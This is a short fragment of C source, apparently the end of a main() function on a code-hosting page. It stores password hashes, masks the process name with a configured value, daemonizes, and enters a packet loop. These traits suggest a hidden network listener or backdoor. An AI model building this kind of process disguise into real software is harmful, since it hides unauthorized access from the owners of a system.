|
||||
strcpy(cfg.pass2, hash2);
|
||||
|
||||
setup_time(argv[0]);
|
||||
|
||||
set_proc_name(argc, argv, cfg.mask);
|
||||
|
||||
if (fork()) exit(0);
|
||||
init_signal();
|
||||
signal(SIGCHLD, sig_child);
|
||||
godpid = getpid();
|
||||
|
||||
close(open(pid_path, O_CREAT|O_WRONLY, 0644));
|
||||
|
||||
signal(SIGCHLD,SIG_IGN);
|
||||
setsid();
|
||||
packet_loop();
|
||||
return 0;
|
||||
}
|
||||
Loading…
Reference in New Issue